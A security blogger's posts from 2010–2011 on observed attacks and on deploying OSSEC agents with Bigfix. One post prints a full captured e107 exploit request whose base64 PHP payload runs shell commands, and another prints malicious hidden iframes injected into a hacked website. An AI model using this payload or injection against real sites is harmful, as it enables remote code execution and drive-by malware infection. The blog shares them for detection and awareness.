Friday, January 14, 2011

e107 contact.php Scanning

I saw a few alerts today for distributed scanning for the e107 contact vulnerability (I don't run e107, but my site has a contact.php page on it).

From these IP addresses (very likley compromised hosts):
67.227.157.117
64.20.40.210

The actual scan was attempting to execute some php code (BASE64 encoded) to return the server name and OS version-a reconnaisse scan, probably to build a list of vulnerable machines to exploit later on.


send-contactus=1
author_name=[php]eval(base64_decode('ZWNobyAidjBwQ3Izdzxicj4iOw0KZWNobyAic3lzOiIucGhwX3VuYW1lKCkuIjxicj4iOw0KJGNtZD0iZWNobyBub2IwZHlDcjN3IjsNCiRlc2VndWljbWQ9ZXgoJGNtZCk7DQplY2hvICRlc2VndWljbWQ7DQpmdW5jdGlvbiBleCgkY2ZlKXsNCiRyZXMgPSAnJzsNCmlmICghZW1wdHkoJGNmZSkpew0KaWYoZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpew0KQGV4ZWMoJGNmZSwkcmVzKTsNCiRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQp9DQplbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpew0KJHJlcyA9IEBzaGVsbF9leGVjKCRjZmUpOw0KfQ0KZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnc3lzdGVtJykpew0KQG9iX3N0YXJ0KCk7DQpAc3lzdGVtKCRjZmUpOw0KJHJlcyA9IEBvYl9nZXRfY29udGVudHMoKTsNCkBvYl9lbmRfY2xlYW4oKTsNCn0NCmVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1Jykpew0KQG9iX3N0YXJ0KCk7DQpAcGFzc3RocnUoJGNmZSk7DQokcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KQG9iX2VuZF9jbGVhbigpOw0KfQ0KZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKXsNCiRyZXMgPSAiIjsNCndoaWxlKCFAZmVvZigkZikpIHsgJHJlcyAuPSBAZnJlYWQoJGYsMTAyNCk7IH0NCkBwY2xvc2UoJGYpOw0KfX0NCnJldHVybiAkcmVzOw0KfQ=='));die;[/php]


When/if run, this would return (depending on your OS version, etc...):

v0pCr3w
sys:Linux ServerName 2.6.24-28-server #1 SMP Wed Nov 24 10:04:43 UTC 2010 i686
nob0dyCr3w

Doing a little googling, it looks like this particular scan has been happening since early this week at least. Just more background Internet noise! Unless of course, you are running a vulnerable version of e107. ;)

Wednesday, October 20, 2010

These are not the Google results you are looking for

One very common technique for the bad guys to get their malware on your computer is to infect/hack legitimate websites. Another method they use is to "poison" major search engines search results, so that these bad websites are the first results in the search. Most people will visit the first few results to see if they can find what they are looking for.

For instance, searching Google today for "mexican salsa dishes pottery" will demonstrate this beautifully.



The very first result is a malicious website. Please don't click on it, unless you are on an analysis machine. I use Malzilla to work with this website.



This looks immediately suspicious at first glance. For one thing, it looks like the javascript has been inserted at the very top of the HTML file, something you don't typically see with human generated HTML. Also, the javascript looks obfuscated.

Using Malzilla to decode the javascript:



We can see the javascript, when run, actually puts in a hidden iframe (size of 1 pixel) that loads code from another site. I'll save you the trip... it installs a Fake Antivirus Trojan, and will do so automatically if you have a vulnerable JAVA runtime (and most likely will try other vulnerabilities if that doesn't work.) In my case (on my analysis machine) it was JAVA.

Tuesday, October 19, 2010

Monitoring your OSSEC installation with Bigfix

Here's a small bonus blog for today. If you are running Bigfix, it's very easy to use it to monitor the state of your OSSEC deployment using the Analysis feature.

See my example below:



Here are the properties and the relevance to query them:

Version:
first 17 of line 1 of file "version.txt" of folder "c:\Program Files\ossec-agent" as string

Modtime of agent.conf:
modification time of file "agent.conf" of folder "C:\Program Files\ossec-agent\shared

Modtime of ar.conf:
modification time of file "ar.conf" of folder "C:\Program Files\ossec-agent\shared"

Service Running:
state of service "OssecSvc"

Relevance for the Analysis itself (ie which computers it runs against):
exists folder "C:\Program Files\ossec-agent"

A nice, quick overview of my entire OSSEC installation at a glance, and updated as frequently as you like (definable in each property in the Bigfix Analysis.)

Using Bigfix for Mass Deployments of OSSEC agents for Windows

Ok, say you want to deploy 100 or more agents of OSSEC. Connecting to each one, manually installing the agent, pasting your ossec agent key in, and then starting the agent can take quite some time.

Using a Systems Management product such as Bigfix can make this task much easier. However, I would be remiss if I didn't point out that there are trade-offs using this deployment approach. The client key for ossec is what the system uses to sign/encrypt the log messages from agent to server (and vice versa I imagine as well), and the deployment options I am showing do present some risk of that client key being potentially revealed to an attacker. You will have to evaluate your own risk tolerance on this.

The method I showed in my previous blog post worked for one computer at a time, since you had to paste the line for the agent you are wanting to install at the time of deployment. This method will allow you to deploy to as many computers as you want.

The process involves these steps:

1. Add your agents to the ossec server (either via manage_agents or other import method).

2. Created a hidden "null" share somewhere on your network. Bigfix runs as SYSTEM, so the share will have to be assigned Everyone:Read permissions. Copy the client.keys file from your ossec server to this hidden null share. If you recognized the first trade-off to security, congratulations! You should delete this client.keys file from the share as soon as your deployment is done.

3. Run your Bigfix task to deploy the ossec agent. Each agent will query the clients.key file and extract their own key from it.

The Bigfix task should be built similiarly to my previous post on this subject, but substitute the following action script (after the extract statement):



wait __Download\ossec-agent-win32-2.5.1.exe /S

copy "\\SERVER01\OSSEC$\client.keys" "__Download\client.keys"
appendfile {line whose (it as lowercase contains computer name as lowercase) of file "__Download\client.keys"}

delete "C:\Program Files\ossec-agent\client.keys"
copy __appendfile "C:\Program Files\ossec-agent\client.keys"

delete "C:\Program Files\ossec-agent\ossec.conf"
copy __Download\ossec.conf "C:\Program Files\ossec-agent\ossec.conf"

wait "SC" start OssecSvc



The magic is done in this line:

appendfile {line whose (it as lowercase contains computer name as lowercase) of file "__Download\client.keys"}

which searches the client.keys file downloaded from your hidden share and builds the proper client.keys file for each computer deployed to.

Security wise, this task is a little better than the previous task, as the client key will only be leaked to the local Bigfix client log file on each computer where the OSSEC agent is deployed to (not counting the everyone read hidden share where ALL client keys will exist for the length of your deployment, because you will delete it promptly afterwards, right?).

Well, there is a second method for deploying the OSSEC agent, and this one will deploy to 10, 100 or even 1000 computers in 5-10 minutes (assuming a healthy Bigfix setup.) Nice! Just remember that this flexibility is coming at some reduced security, and take that increased risk into account. I won't be held responsible if things don't work out. :)

In the next day or two, I'll try to find the time to write a blog about mass deployments for Windows using just batch files, and other poor man's tools. Using the same techniques, you can easily build a deployment script based on the psexec tool and batch files.

Update: there are some ways to increase the security of this task. Instead of using the fancy relevance substitution shown above to extract the client key, using something like: find "{computer name}" > client.keys will solve the problem of the client key being written to the Bigfix client log (which will exist until the logs roll over-about 7 days.) Then you are left only with the open share and potentialy clear text transfer of the client.keys to your computers (depending on how your network is configured). Setting up auditing on the share folder is one method to identify if unauthorized parties accessed your client.keys file while your deployment was running. The man-in-the-middle attack is another thing though... but not a problem unique to this method.

Monday, October 18, 2010

Deploying OSSEC for Windows with Bigfix

It's the second annual Week of OSSEC and I thought I would contribute by writing up a quick blog post about how to deploy OSSEC for Windows with Bigfix. This small tutorial focuses on how to deploy with Bigfix, but other Systems Management tools should be able to do similiar things.

One of the troublesome things with adding a client to OSSEC, is that you need to copy and paste the "client key" from the OSSEC manager. Normally the process goes like this:

1. Add the client to your OSSEC server (usually via manage_agents).
2. Install the ossec client agent via the installer.
3. Input your server IP and paste the client key that you (E)xtract from the manage_agents program on the OSSEC server.
4. Start up the ossec agent.

A silent installation switch was recently added to the Windows client (/S), which allows us to silently install the agent. To silently deploy an agent, this is the process I'm following here:

1. Add the client to your OSSEC server (via manage_agents or via some other import process).
2. Install the windows ossec client agent silently.
3. Create the client.keys file in the ossec agent directory.
4. Copy an ossec.conf file with the proper server IP to the ossec agent directory.
5. Start the ossec-agent service.

Using Bigfix, this is all very easy to do. First I put the installer and a customized ossec.conf (with your server ip and whatever other customizations you make in your environment) in a directory somewhere. Using the Bigfix Software Distribution Wizard, select this directory to create your task from (no need to select subfolders.) Accept all the defaults for now.

In the Action Script section of your task paste this:


wait __Download\ossec-agent-win32-2.5.1.exe /S

action parameter query "clientkey" with description "Please paste client.key line for this client"
appendfile {parameter "clientkey"}

delete "C:\Program Files\ossec-agent\client.keys"
copy __appendfile "C:\Program Files\ossec-agent\client.keys"

delete "C:\Program Files\ossec-agent\ossec.conf"
copy __Download\ossec.conf "C:\Program Files\ossec-agent\ossec.conf"

wait "SC" start OssecSvc


In the Relevance tab, I add this as well, to only target computers that do not already have the OSSEC agent (but this is up to you):


AND (not exists folder "c:\Program Files\ossec-agent")


This task will prompt you for the line from the client.keys file (found in the ossec/etc/client.keys file on your OSSEC server). Just paste it in when prompted. This is a quick, silent, hands-off install of OSSEC for Windows, but it is only good for installing to one computer at a time. Much faster than actually touching the system to install OSSEC, but we can do better. My next post will show how to extend this basic task to silently install to multiple computers, with each one getting it's own proper client.key.

PS. I should mention that because of the design of both OSSEC and Bigfix, there are difficulties using this method above. The client key for your agent is potentially available to an attacker in the following places: the bigfix client log, the bigfix console (the last entered data for the query parameter option is displayed to any console operators that have access to your task), and worst of all, it will be available via the bigfix fixlet web server itself. An attacker who could get a hold of your ossec client.key could, at the very least, decode your log traffic or inject fake log traffic. You'll have to do your own risk/return evaluation on using the method shown above.

Thursday, October 7, 2010

Hacked Websites

It's probably no surprise that a major vector for malware entering the enterprise is hacked, so called "legitimate" websites. There is actually no such thing as a trusted website any longer. I've seen so many innocous websites that have been serving malware, either because they are hacked, or through malicous advertising. Nothing new really, if you've been following what's happening in the IT security world for the last couple of years.

Today though, I saw a website that is apparently hacked and instead of a subtle hidden iframe being inserted, there is this (intentionally munged):


[!--AD Revenue Banner: DO NOT REMOVE --]
[iframe name="yLeVaTapAV" src="hxxp://host30.freepicturebox.com/blog/cgi-bin/index.php" marginwidth="1" marginheight="0" title="YMeWErAbed" border="0" width="1" frameborder="0" height="0" scrolling="no"][/iframe]
[iframe name="ubYLuZYXun" src="hxxp://serv59.freepicturebox.com/logfile/index.php" marginwidth="1" marginheight="0" title="arepAhEZuN" border="0" width="1" frameborder="0" height="0" scrolling="no"][/i frame]
[!--AD Revenue Banner: DO NOT REMOVE --]


Maybe an attempt by the hacker to hide the malicious iframes "in plain sight"?

One of these sites serves up highly obfuscated javascript, and from my logs was serving up what looked like the CrimePack exploit kit.

Friday, October 1, 2010

Quest for Correlation

I wasn't completely satisfied with the work I did tieing Bigfix to BASE. It was working for me, but required a few mouse clicks to see if a machine was actually vulnerable to an attack because it was missing a patch, or an application update.

Bigfix keeps track of Microsoft Patches, and also some third party applications, and the CVE number is available. It was pretty easy to query this information from Bigfix WebReports via PHP, and somewhat easy to modify BASE to take the CVE number out of the alert and compare it to what Bigfix returns.

I opted to do this on the Unique IP Links screen, so that I could control more easily when the query would go out to the Bigfix server, and also because I typically use that screen to get an overview of what systems are alerting. When Bigfix shows a computer has the CVE that matches the alert, the fully qualified name is displayed in red font.



The two BASE files I made changes to are base_signatures_inc.php (to get the CVE number from the alert) and base_stat_iplink.php (to run the bigfix query and display the font in red). If you want to know more about how I did this, or want the files themselves, drop me an email.